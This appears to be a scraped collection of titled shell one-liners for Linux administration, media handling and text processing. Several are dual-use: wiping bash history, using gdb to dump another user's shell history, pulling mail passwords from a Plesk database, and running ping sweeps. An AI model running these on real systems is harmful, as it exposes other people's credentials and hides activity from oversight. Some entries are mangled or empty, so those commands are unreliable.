for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date +%s%N);total=$(echo $d-$c|bc);echo $total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done
Quickly Encrypt a file with gnupg and email it with mailx
cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" user@email.com
Localize provenance of current established connections
for i in $(netstat --inet -n|grep ESTA|awk '{print $5}'|cut -d: -f1);do geoiplookup $i;done
Clear your history saved into .bash_history file!
history -c && rm -f ~/.bash_history
Clear your history saved into .bash_history file!
history -c
Stop long commands wrapping around and over-writing itself in the Bash shell
shopt -s checkwinsize
List only the directories
tree -dL 1
calulate established tcp connection of local machine
netstat -an|grep -ci "tcp.*established"
Using column to format a directory listing
(printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls -l | sed 1d) | column -t
Enable programmable bash completion in debian lenny
aptitude install bash-completion ; source /etc/bash_completion
Print text string vertically, one character per line.
echo "vertical text" | fold -1
Encrypted archive with openssl and tar
openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3
concatenate avi files
avimerge -o output.avi -i file1.avi file2.avi file3.avi
limit the cdrom driver to a specified speed
eject -x 8 /dev/cdrom
find . -name
find . -name "*.txt" -exec sed -i "s/old/new/" {} \;
Randomize lines (opposite of | sort)
random -f <file>
Sum size of files returned from FIND
find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print total}'
clean up syntax and de-obfuscate perl script
%! perl -MO=Deparse | perltidy
Search for a
grep -r <pattern> * .[!.]*
Find and display most recent files using find and perl
find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(stat($file)); push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]} @files; for $i (0..$#o){print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|tail
Search command history on bash
ctrl + r
Multiple SSH Tunnels
ssh -L :: -L :: @
Alias for getting OpenPGP keys for Launchpad PPAs on Ubuntu
alias launchpadkey="sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys"
Using bash inline
Create several copies of a file
for i in {1..5}; do cp test{,$i};done
Nice info browser
pinfo
Download schedule
echo 'wget url' | at 12:00
Watch the progress of 'dd'
dd if=/dev/urandom of=file.img bs=4KB& pid=$!
Quick screenshot
import -pause 5 -window root desktop_screenshot.jpg
backup and synchronize entire remote folder locally (curlftpfs and rsync over FTP using FUSE FS)
curlftpfs ftp://YourUsername:YourPassword@YourFTPServerURL /tmp/remote-website/ && rsync -av /tmp/remote-website/* /usr/local/data_latest && umount /tmp/remote-website
Quicker move to parent directory
alias ..='cd ..'
Show webcam output
mplayer tv:// -tv driver=v4l:width=352:height=288
Open the last file you edited in Vim.
alias lvim="vim -c \"normal '0\""
Keep from having to adjust your volume constantly
find . -iname \*.mp3 -print0 | xargs -0 mp3gain -krd 6 && vorbisgain -rfs .
Processes by CPU usage
ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"
Print text string vertically, one character per line.
echo Print text vertically|sed 's/\(.\)/\1\n/g'
Check for login failures and summarize
zgrep "Failed password" /var/log/auth.log* | awk '{print $9}' | sort | uniq -c | sort -nr | less
awk using multiple field separators
awk -F "=| "
Use mplayer to save video streams to a file
mplayer -dumpstream -dumpfile "yourfile" -playlist "URL"
Wrap text files on the command-line for easy reading
fold -s <filename>
Re-read partition table on specified device without rebooting system (here /dev/sda).
blockdev --rereadpt /dev/sda
Get your mac to talk to you
say -v Vicki "Hi, I'm a mac"
Sort a one-per-line list of email address, weeding out duplicates
sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.txt
Use /dev/full to test language I/O-failsafety
perl -e 'print 1, 2, 3' > /dev/full
Generate a graph of package dependencies
apt-cache dotty apache2 | dot -T png | display
calulate established tcp connection of local machine
netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Connected:\t", i}'
Instant mirror from your laptop + webcam
mplayer tv:// -vf mirror
Delete all but the latest 5 files
ls -t | tail +6 | xargs rm
View webcam output using GStreamer pipeline
gst-launch-0.10 autovideosrc ! video/x-raw-yuv,framerate=\(fraction\)30/1,width=640,height=480 ! ffmpegcolorspace ! autovideosink
Extract audio track from a video file using mencoder
mencoder -of rawaudio -ovc copy -oac mp3lame -o output.mp3 input.avi
Extract audio from Mythtv recording to Rockbox iPod using ffmpeg
ffmpeg -ss 0:58:15 -i DavidLettermanBlackCrowes.mpg -acodec copy DavidLettermanBlackCrowes.ac3
Convert a flv video file to avi using mencoder
mencoder -oac mp3lame -lameopts cbr=128 -ovc xvid -xvidencopts bitrate=1200 inputfile.rmvb -o output.avi
Run remote web page, but don't save the results
wget -O /dev/null http://www.google.com
Check if x509 certificate file and rsa private key match
diff <(openssl x509 -noout -modulus -in server.crt ) <( openssl rsa -noout -modulus -in server.key )
When was your OS installed?
ls -ldct /lost+found |awk '{print $6, $7}'
Send a signed and encrypted email from the command line
echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail USER@DOMAIN.COM
Ultimate current directory usage command
du -a --max-depth=1 | sort -n | cut -d/ -f2 | sed '$d' | while read i; do if [ -f $i ]; then du -h "$i"; else echo "$(du -h --max-depth=0 "$i")/"; fi; done
Edit all files found having a specific string found by grep
grep -Hrli 'foo' * | xargs vim
floating point operations in shell scripts
bc -l <<< s(3/5)
list all hd partitions
awk '/d.[0-9]/{print $4}' /proc/partitions
Find files that were modified by a given command
strace <name of the program>
Top 10 requestors by IP address from Apache/NCSA Logs
awk '{print $1}' /var/log/httpd/access_log | sort | uniq -c | sort -rnk1 | head -n 10
show all key and mouse events
xev
To get internet connection information .
sudo /bin/netstat -tpee
Do a search-and-replace in a file after making a backup
perl -i'.bak' -pe 's/old/new/g' <filename>
Parallel mysql dump restore
find -print0 | xargs -0 -n 1 -P 4 -I {} sh -c "zcat '{}' | mysql nix"
Compare an archive with filesystem
tar dfz horde-webmail-1.2.3.tar.gz
Make a ready-only filesystem ?writeable? by unionfs
mount -t unionfs -o dirs=/tmp/unioncache=rw:/mnt/readonly=ro unionfs /mnt/unionfs
Verbosely delete files matching specific name pattern, older than 15 days.
rm -vf /backup/directory/**/FILENAME_*(m+15)
Copy structure
structcp(){ ( mkdir -pv $2;f="$(realpath "$1")";t="$(realpath "$2")";cd "$f";find * -type d -exec mkdir -pv $t/{} \;);}
recursively change file name from uppercase to lowercase (or viceversa)
find . -type f|while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done
Check the age of the filesystem
df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create
Backup all MySQL Databases to individual files
for I in `echo "show databases;" | mysql | grep -v Database`; do mysqldump $I > "$I.sql"; done
Convert mysql database from latin1 to utf8
mysqldump --add-drop-table -uroot -p "DB_name" | replace CHARSET=latin1 CHARSET=utf8 | iconv -f latin1 -t utf8 | mysql -uroot -p "DB_name"
Remove all subversion files from a project recursively
rm -rf `find . -type d -name .svn`
Click on a GUI window and show its process ID and command used to run the process
xprop | awk '/PID/ {print $3}' | xargs ps h -o pid,cmd
print indepth hardware info
sudo dmidecode | more
Concatenate (join) video files
mencoder -forceidx -ovc copy -oac copy -o output.avi video1.avi video2.avi
Convert the contents of a directory listing into a colon-separated environment variable
find . -name '*.jar' -printf '%f:'
Removes file with a dash in the beginning of the name
rm -- --myfile
make a log of a terminal session
script
Remove invalid host keys from ~/.ssh/known_hosts
ssh-keygen -R \[localhost\]:8022
Display disk partition sizes
lsblk -o name,size
create a nicely formatted example of a shell command and its output
example() { echo "EXAMPLE:"; echo; echo " $@"; echo; echo "OUTPUT:"; echo ; eval "$@" | sed 's/^/ /'; }
remove all spaces from all files in current folder
rename 's/ //g' *
a function to find the fastest free DNS server
timeDNS() { parallel -j0 --tag dig @{} "$*" ::: 208.67.222.222 208.67.220.220 198.153.192.1 198.153.194.1 156.154.70.1 156.154.71.1 8.8.8.8 8.8.4.4 | grep Query | sort -nk5; }
New Maintainer for CommandLineFu
mail tech@commandlinefu.com
Get your Firefox history
sqlite3 ~/.mozilla/firefox/*.[dD]efault/places.sqlite "SELECT strftime('%d.%m.%Y %H:%M:%S', visit_date/1000000, 'unixepoch', 'localtime'),url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER BY visit_date;"
Check all bash scripts in current dir for syntax errors
find . -name '*.sh' -exec bash -n {} \;
list directories only
ls -d */
Do some learning…
whatis $(compgen -c) 2>/dev/null | less
Merge files, joining each line in one line
pr -m -t file1 file2 ...
sum a column of numbers
awk '{s+=$1}END{print s}' <file>
Android PNG screenshot
adb pull /dev/graphics/fb0 /dev/stdout | ffmpeg -vframes 1 -vcodec rawvideo -f rawvideo -pix_fmt rgb32 -s 480x800 -i pipe:0 -f image2 -vcodec png screenshot.png
Create A Continuous Yahoo! News Ticker For The Terminal
while true;do n="$(curl -s http://news.yahoo.com/rss/|sed 's/</\n/g'|grep "title>"|sed -e '/^\// d' -e 's/title>/---------- /g' -e '1,3d'|tr '\n' ' ')";for i in $(eval echo {0..${#n}});do echo -ne "\e[s\e[0;0H${n:$i:$COLUMNS}\e[u";sleep .15;done;done &
Download Youtube Playlist
y=http://www.youtube.com;for i in $(curl -s $f|grep -o "url='$y/watch?v=[^']*'");do d=$(echo $i|sed "s|url\='$y/watch?v=\(.*\)&.*'|\1|");wget -O $d.flv "$y/get_video.php?video_id=$d&t=$(curl -s "$y/watch?v=$d"|sed -n 's/.* "t": "\([^"]*\)",.*/\1/p')";done
Ping sweep without NMAP
for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done
Show account security settings
chage -l <user>
List all groups and the user names that were in each group
for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort
Random number generation within a range N, here N=10
echo $(( $RANDOM % 10 + 1 ))
floating point operations in shell scripts
echo "scale=4; 3 / 5" | bc
for all who don't have the watch command
watch() { t=$1; shift; while test :; do clear; date=$(date); echo -e "Every "$t"s: $@ \t\t\t\t $date"; $@; sleep $t; done }
Read aloud a text file in Mac OS X
say -f file.txt
diff will usually only take one file from STDIN. This is a method to take the result of two streams and compare with diff. The example I use to compare two iTunes libraries but it is generally applicable.
diff <(cd /path-1; find . -type f -print | egrep -i '\.m4a$|\.mp3$') <(cd /path-2; find . f -print | egrep -i '\.m4a$|\.mp3$')
Compress blank lines in VIM
:g/^\s*$/,/\S/-j|s/.*//
formatting number with comma
printf "%'d\n" 1234567
make 100 directories with leading zero, 001…100, using bash3.X
mkdir $(printf '%03d\n' {1..100})
Find
xwininfo
Switch to the previous branch used in git(1)
git checkout -
grep certain file types recursively
find . -name "*.[ch]" -exec grep "TODO" {} +
View a colorful logfile using less
< /var/log/syslog ccze -A | less -R
Batch file name renaming (copying or moving) w/ glob matching.
for x in *.ex1; do mv "${x}" "${x%ex1}ex2"; done
Move all but the newest 100 emails to a gzipped archive
find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s/[0-9]*\.[0-9]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c >>ARCHIVE.gz
Count the number of pages of all PDFs in current directory and all subdirs, recursively
find . -name \*.pdf -exec pdfinfo {} \; | grep Pages | sed -e "s/Pages:\s*//g" | awk '{ sum += $1;} END { print sum; }'
Get the size of all the directories in current directory
du -hd 1
Convert one file from ISO-8859-1 to UTF-8.
iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt
Remove newlines from output
cat filename | grep .
Get a list of all your VirtualBox virtual machines by name and UUID from the shell
VBoxManage list vms
Generate random password
randpw(){ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;}
Colorize make, gcc, and diff output
colormake, colorgcc, colordiff
Adding formatting to an xml document for easier reading
tidy -i -xml <inputfile>
Dump bash command history of an active shell user.
APID=<pid number>; gdb -batch --eval "attach $APID" --eval "call write_history(\"/tmp/bash_history-$APID.txt\")" --eval 'detach' --eval 'q'
See KeepAlive counters on tcp connections
netstat -town
List all commands present on system
compgen -c | sort -u > commands && less commands
Remove all zero size files from current directory (not recursive)
find . -maxdepth 1 -empty -delete
Keep a copy of the raw Youtube FLV,MP4,etc stored in /tmp/
lsof -n -P|grep FlashXX|awk '{ print "/proc/" $2 "/fd/" substr($4, 1, length($4)-1) }'|while read f;do newname=$(exiftool -FileModifyDate -FileType -t -d %Y%m%d%H%M%S $f|cut -f2|tr '\n' '.'|sed 's/\.$//');echo "$f -> $newname";cp $f ~/Vids/$newname;done
Count number of files in a directory
perl -le 'print ~~ map {-s} <*>'
grep tab (t)
grep $'\t' sample.txt
Compress and store the image of a disk over the network
dd if=<device> | pv | nc <target> <port>
Rank top 10 most frequently used commands
history | awk '{print $2}' | sort | uniq -c | sort -rn | head
Print all lines between two line numbers
sed -n '3,6p' /path/to/file
Change/Modify timestamp
touch --date "2010-01-05" /tmp/filename
Google text-to-speech in local language or language of choice
say() { if [[ "${1}" =~ -[a-z]{2} ]]; then local lang=${1#-}; local text="${*#$1}"; else local lang=${LANG%_*}; local text="$*";fi; mplayer "http://translate.google.com/translate_tts?ie=UTF-8&tl=${lang}&q=${text}" &> /dev/null ; }
Real full backup copy of /etc folder
rsync -a /etc /destination
check open ports (both ipv4 and ipv6)
netstat -plnt
see who's using DOM storage a/k/a Web Storage, super cookies
strings ~/.mozilla/firefox/*/webappsstore.sqlite|grep -Eo "^.+\.:" |rev
Move all files in subdirectories to current dir
find ./ -type f -exec mv {} . \;
Quick network status of machine
netstat -tn | awk 'NR>2 {print $6}' | sort | uniq -c | sort -rn
Capitalize first letter of each word in a string
read -ra words <<< "<sentence>" && echo "${words[@]^}"
comment current line(put !!! Example "at the beginning)
Enter parameter if empty (script becomes interactive when parameters are missing)
param=${param:-$(read -p "Enter parameter: "; echo "$REPLY")}
Re-use the previous command output
newcommand $(!!)
Grep Recursively Through Single File Extension
grep --include=*.py -lir "delete" .
List only the directories
find . -maxdepth 1 -type d | sort
Create a QR code image in MECARD format
qrencode -o myqr.png 'MECARD:N:Lee,Chris;TEL:8881234567;EMAIL:chris.lee@somedomain.com;;'
Delete all aliases for a network interface on a (Free)BSD system
ifconfig | grep "0xffffffff" | awk '{ print $2 }' | xargs -n 1 ifconfig em0 delete
Grab all .flv files from a webpage to the current working directory
wget `lynx -dump http://www.ebow.com/ebowtube.php | grep .flv$ | sed 's/[[:blank:]]\+[[:digit:]]\+\. //g'`
Show in a web server, running in the port 80, how many ESTABLISHED connections by ip it has.
netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
ISO info
isoinfo -d -i filename.iso
Batch File Rename with awk and sed
ls foo*.jpg | awk '{print("mv "$1" "$1)}' | sed 's/foo/bar/2' | /bin/sh
Count all conections estabilished on gateway
cat /proc/net/ip_conntrack | grep ESTABLISHED | grep -c -v ^#
find and grep Word docs
find . -iname '*filename*.doc' | { while read line; do antiword "$line"; done; } | grep -C4 search_term;
Bypass 1000 Entry limit of Active Directory with ldapsearch
ldapsearch -LLL -H ldap://${HOST}:389 -b 'DC=${DOMAIN},DC=${TLD}' -D '${USER}' -w 'password' objectclass=* -E pr=2147483647/noprompt
ssh autocomplete
complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh
OSX command to take badly formatted xml from the clipboard, cleans it up and puts it back into the clipboard.
pbpaste | tidy -xml -wrap 0 | pbcopy
whois surfing my web ?
watch lsof -i :80
Donwload media from .rm from an url of type htttp://…/.ram
wget <URL> -O- | wget -i -
Paste OS X clipboard contents to a file on a remote machine
pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt'
Printing multiple years with Unix cal command
for y in $(seq 2009 2011); do cal $y; done
make pgsql backup and gzip it
pg_dump otrs2 | gzip > dump.gz
Export log to html file
cat /var/log/auth.log | logtool -o HTML > auth.html
Alternative size (human readable) of files and directories (biggest last)
du -ms * .[^.]*| sort -nk1
SVN Status log to CSV
svn log | tr -d '\n' | sed -r 's/-{2,}/\n/g' | sed -r 's/ \([^\)]+\)//g' | sed -r 's/^r//' | sed -r "s/[0-9]+ lines?//g" | sort -g
Uniformly correct filenames in a directory
for i in *;do mv "$i" "$(echo $i | sed s/PROBLEM/FIX/g)";done
Most simple way to get a list of open ports
netstat -lnp
Merge several pdf files into a single file
pdftk $* cat output $merged.pdf
Set an alarm to wake up
sleep 5h && rhythmbox path/to/song
Get a shell with a not available account
su - <user> -s /bin/sh -c "/bin/sh"
Log the current memory statistics frequently to syslog
while true; do { $(which logger) -p local4.notice `free -m | grep Mem`; sleep 60; } done &
Show an application's environment variables
sudo sed 's/\o0/\n/g' "/proc/$(pidof -x firefox)/environ" ;!!! Example "replace firefox
Merge PDFs into single file
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf input1.pdf input2.pdf ...
Get all files of particular type (say, PDF) listed on some wegpage (say, example.com)
wget -r -A .pdf -l 5 -nH --no-parent http://example.com
delete a particular line by line number in file
sed -i 3d ~/.ssh/known_hosts
Create cheap and easy index.html file
for i in *; do echo "<li><a href='$i'>$i</a>"; done > index.html
Timer with sound alarm
say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }; sleep 3s && say "wake up, you bastard"
cpu stress test
taskset 0x00000001 yes > /dev/null &
function to edit your history file
eh () { history -a ; vi ~/.bash_history ; history -r ; }
do something else while waiting for an event, such as reboot
until (ssh root@10.1.1.39 2> /dev/null); do date; sleep 15; done
add the result of a command into vi
:r! <bash_command>
Remove all HTML tags from a file
sed "s/<[^>]\+>//g" file
Calculate N!
seq -s* 10 |bc
Figure out what shell you're running
readlink -f /proc/$$/exe
create shortcut keys in bash
bind -x '"\C-p"':pwd
network throughput test
iperf -s
Perl One Liner to Generate a Random IP Address
echo $((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256))
One liner to kill a process when knowing only the port where the process is running
fuser -k <port>
retab in vim, tab to space or space to tab, useful in python
:ret
Delete backward from cursor, useful when you enter the wrong password
Ctrl + u
Join lines
cat file | tr "\n" " "
(Debian/Ubuntu) Discover what package a file belongs to
dlocate /path/to/file
Create date-based tgz of current dir, runs in the background, very very cool
alias tarred='( ( D=`builtin pwd`; F=$(date +$HOME/`sed "s,[/ ],#,g" <<< ${D/${HOME}/}`#-%F.tgz); tar --ignore-failed-read --transform "s,^${D%/*},`date +${D%/*}.%F`,S" -czPf "$F" "$D" &>/dev/null ) & )'
direct a single stream of input (ls) to multiple readers (grep & wc) without using temporary files
ls |tee >(grep xxx |wc >xxx.count) >(grep yyy |wc >yyy.count) |grep zzz |wc >zzz.count
Find out my Linux distribution name and version
lsb_release -a
Make any command read line enabled (on *nix)
rlwrap sqlite3 database.db
Backup (archive) your Gmail IMAP folders.
mailutil transfer {imap.gmail.com/ssl/user=john@gmail.com} Gmail/
Play ISO/DVD-files and activate dvd-menu and mouse menu clicks.
mplayer dvdnav:// -dvd-device foo.img -mouse-movements
Record a webcam output into a video file.
ffmpeg -an -f video4linux -s 320x240 -b 800k -r 15 -i /dev/v4l/video0 -vcodec mpeg4 myvideo.avi
Efficiently extract lines between markers
sed -n '/START/,${/STOP/q;p}'
load changes without logging in and out vim
:source ~/.vimrc
Give any files that don't already have it group read permission under the current folder (recursive)
find . -type f ! -perm /g=r -exec chmod g+r {} +
extract email adresses from some file (or any other pattern)
grep -Eio '([[:alnum:]_.]+@[[:alnum:]_]+?\.[[:alpha:].]{2,6})' file.html
Do quick arithmetic on numbers from STDIN with any formatting using a perl one liner.
perl -ne '$sum += $_ for grep { /\d+/ } split /[^\d\-\.]+/; print "$sum\n"'
Sort lines using the Xth characted as the start of the sort string
sort -k1.x
The Chronic: run a command every N seconds in the background
chronic () { t=$1; shift; while true; do $@; sleep $t; done & }
Another way to calculate sum size of all files matching a pattern
find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+/g" | bc
Poor man's nmap for a class C network from rfc1918
( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.$h & ); h=$[ $h + 1 ] ; done ) | awk '/^64 bytes.*/ { gsub( ":","" ); print $4 }' | sort -u
rsync over ssh via non-default ssh port
rsync -e 'ssh -p PORT' user@host:SRC DEST
files and directories in the last 1 hour
find ./* -ctime -1 | xargs ls -ltr --color
Awk: Perform a rolling average on a column of data
awk 'BEGIN{size=5} {mod=NR%size; if(NR<=size){count++}else{sum-=array[mod]};sum+=$1;array[mod]=$1;print sum/count}' file.dat
grep across a git repo and open matching files in gedit
git grep -l "your grep string" | xargs gedit
Replace all tabs with spaces in an application
grep -PL "\t" -r . | grep -v ".svn" | xargs sed -i 's/\t/ /g'
List of directories sorted by number of files they contain.
sort -n <( for i in $(find . -maxdepth 1 -mindepth 1 -type d); do echo $(find $i | wc -l) ": $i"; done;)
Random numbers with Ruby
ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}"
find listening ports by pid
lsof -nP +p 24073 | grep -i listen | awk '{print $1,$2,$7,$8,$9}'
Extract track 9 from a CD
mplayer -fs cdda://9 -ao pcm:file=track9.wav
Word-based diff on reformatted text files
diff -uw <(fmt -1 {file1, file2})
Lists the supported memory types and how much your board can support.
sudo dmidecode -t 5,16
Lock your KDE4 remotely (via regular KDE lock)
DISPLAY=:0 /usr/lib/kde4/libexec/krunner_lock --forcelock >/dev/null 2>&1 &
Find which jars contain a class
find . -name "*.jar" | while read file; do echo "Processing ${file}"; jar -tvf $file | grep "Foo.class"; done
Break lines after, for example 78 characters, but don't break within a word/string
fold -w 78 -s file-to-wrap
resize all JPG images in folder and create new images (w/o overwriting)
for file in *.jpg; do convert "$file" -resize 800000@ -quality 80 "small.$file"; done
Copy without overwriting
cp -n <src> <dst>
Convert all .flac from a folder subtree in 192Kb mp3
find . -type f -iname '*.flac' | while read FILE; do FILENAME="${FILE%.*}"; flac -cd "$FILE" | lame -b 192 - "${FILENAME}.mp3"; done
See The MAN page for the last command
man !!:0
Find default gateway
ip route | awk '/default/{print $3}'
find broken symbolic links
find -L . -type l
Replace multiple file extensions with a single extension
for f in t1.bmp t2.jpg t3.tga; do echo ${f%.*}.png; done
Print just line 4 from a textfile
awk 'NR==4'
Adding leading zeros to a filename (1.jpg -> 001.jpg)
zmv '(<1->).jpg' '${(l:3::0:)1}.jpg'
Copy an element from the previous command
!:n
Advanced LS Output using Find for Formatted/Sortable File Stat info
find $PWD -maxdepth 1 -printf '%.5m %10M %#9u:%-9g %#5U:%-5G [%AD | %TD | %CD] [%Y] %p\n'
Remove all unused kernels with apt-get
aptitude remove $(dpkg -l|egrep '^ii linux-(im|he)'|awk '{print $2}'|grep -v `uname -r`)
copy file to clipboard
xclip file.txt
Check a nfs mountpoint and force a remount if it does not reply after a given timeout.
NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NFSPATH" || (umount -fl $NFSPATH; mount $NFSPATH)
let a cow tell you your fortune
fortune | cowsay
List your installed Firefox extensions
grep -hIr :name ~/.mozilla/firefox/*.default/extensions | tr '<>=' '"""' | cut -f3 -d'"' | sort -u
Google Translate
translate() { lng1="$1";lng2="$2";shift;shift; wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=${@// /+}&langpair=$lng1|$lng2" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
run remote linux desktop
xterm -display :12.0 -e ssh -X user@server &
List complete size of directories (do not consider hidden directories)
du -hs */
Find pages returning 404 errors in apache logs
awk '$9 == 404 {print $7}' access_log | uniq -c | sort -rn | head
Robust expansion (i.e. crash) of bash variables with a typo
set -eu
easily find megabyte eating files or directories
du -cks * | sort -rn | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done
Get your outgoing IP address
curl -s ip.appspot.com
Recover remote tar backup with ssh
ssh user@host "cat /path/to/backup/backupfile.tar.bz2" |tar jpxf -
Download free e-books
wget -erobots=off --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -H -r -l2 --max-redirect=1 -w 5 --random-wait -PmyBooksFolder -nd --no-parent -A.pdf http://URL
Backup your OpenWRT config (only the config, not the whole system)
curl -d 'username=root&password=your-good-password' "http://router/cgi-bin/luci/admin/system/backup?backup=kthxbye" > `date +%Y%d%m`_config_backup.tgz
Go to the next sibling directory in alphabetical order, version 2
cd ../"$(ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1)"
List all PostgreSQL databases. Useful when doing backups
psql -U postgres -lAt | gawk -F\| '$1 !~ /^template/ && $1 !~ /^postgres/ && NF > 1 {print $1}'
Make a directory named with the current date
mkdir `date --iso`
Duplicating service runlevel configurations from one server to another.
chkconfig --list | fgrep :on | sed -e 's/\(^.*\)*0:off/\1:/g' -e 's/\(.\):on/\1/g' -e 's/.:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat > foo'
Start screen with name and run command
screen -dmS "name_me" echo "hi"
Backup of a partition
cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - )
Show the UUID of a filesystem or partition
sudo vol_id -u /dev/sda1
Change wallpaper for xfce4 >= 4.6.0
xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s <image-file>
Get file access control list
getfacl /mydir
Clone current directory into /destination verbosely
find . | cpio -pumdv /destination
send a .loc file to a garmin gps over usb
gpsbabel -D 0 -i geo -f "/path/to/.loc" -o garmin -F usb:
Browse shared folder when you're the only Linux user
smbclient -U userbob //10.1.1.75/Shared
connect to all screen instances running
screen -ls | grep pts | gawk '{ split($1, x, "."); print x[1] }' | while read i; do gnome-terminal -e screen\ -dx\ $i; done
Mount important virtual system directories under chroot'ed directory
for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done
Set Time Zone in Ubuntu
sudo dpkg-reconfigure tzdata
Add 10 random unrated songs to xmms2 playlist
xmms2 mlib search NOT +rating | grep -r '^[0-9]' | sed -r 's/^([0-9]+).*/\1/' | sort -R | head | xargs -L 1 xmms2 addid
Get the IP address of a machine. Just the IP, no junk.
/sbin/ifconfig -a | awk '/(cast)/ { print $2 }' | cut -d':' -f2 | head -1
Remove all hidden files in a directory
rm -r .??*
Use ImageMagick to get an image's properties
identify -ping imageName.png
Propagate X session cookies on a different user and login as that user
read -p 'Username: ' u;sudo -H -u $u xauth add $(xauth list|grep :$(echo ${DISPLAY: -4:2}));sudo su - $u
Pulls email password out of Plesk database for given email address.
mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password FROM accounts JOIN mail ON accounts.id=mail.account_id WHERE mail.mail_name='webmaster';"
Get the version of sshd on a remote system
ssh -vN hostname 2>&1 | grep "remote software version"
Show the 20 most CPU/Memory hungry processes
ps aux | sort +2n | tail -20
print battery , thermal , and cooling info
acpi -tc
split a multi-page PDF into separate files
pdftk in.pdf burst
Extend a logical volume to use up all the free space in a volume group
lvextend -l +100%FREE /dev/VolGroup00/LogVol00
grab all commandlinefu shell functions into a single file, suitable for sourcing.
export QQ=$(mktemp -d);(cd $QQ; curl -s -O http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25];for i in $(perl -ne 'print "$1\n" if( /^(\w+\(\))/ )' *|sort -u);do grep -h -m1 -B1 $i *; done)|grep -v '^--' > clf.sh;rm -r $QQ
Replace spaces in filenames with underscores
rename 's/ /_/g' *
Recursively grep thorugh directory for string in file.
grep -r -i "phrase" directory/
Remove everything except that file
( shopt -s extglob; rm !(<PATTERN>) )
Edit video by cutting the part you like without transcoding.
mencoder -ss <start point> -endpos <time from start point> -oac copy -ovc copy <invid> -o <outvid>
Pretty man pages under X
function manpdf() {man -t $1 | ps2pdf - - | epdfview -}
silent/shh - shorthand to make commands really quiet
silent(){ $@ > /dev/null 2>&1; }; alias shh=silent
Rename .JPG to .jpg recursively
find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \;
external projector for presentations
xrandr --auto
Extract tarball from internet without local saving
curl http://example.com/a.gz | tar xz
Another Matrix Style Implementation
COL=$(( $(tput cols) / 2 )); clear; tput setaf 2; while :; do tput cup $((RANDOM%COL)) $((RANDOM%COL)); printf "%$((RANDOM%COL))s" $((RANDOM%2)); done
show ls colors with demo
echo $LS_COLORS | sed 's/:/\n/g' | awk -F= '!/^$/{printf("%s \x1b[%smdemo\x1b[0m\n",$0,$2)}'
Change your swappiness Ratio under linux
sysctl vm.swappiness=50
Get the time from NIST.GOV
cat </dev/tcp/time.nist.gov/13
exit if another instance is running
pidof -x -o $$ ${0##*/} && exit
Merge Two or More PDFs into a New Document
pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf
Upload images to omploader.org from the command line.
ompload() { curl -!!! Example "-F file1=@"$1" http://ompldr.org/upload|awk '/Info:|File:|Thumbnail:|BBCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;print}';}
umount all nfs mounts on machine
umount -a -t nfs
Execute most recent command containing search string.
!?<string>?
Display GCC Predefined Macros
gcc -dM -E - < /dev/null
What is my ip?
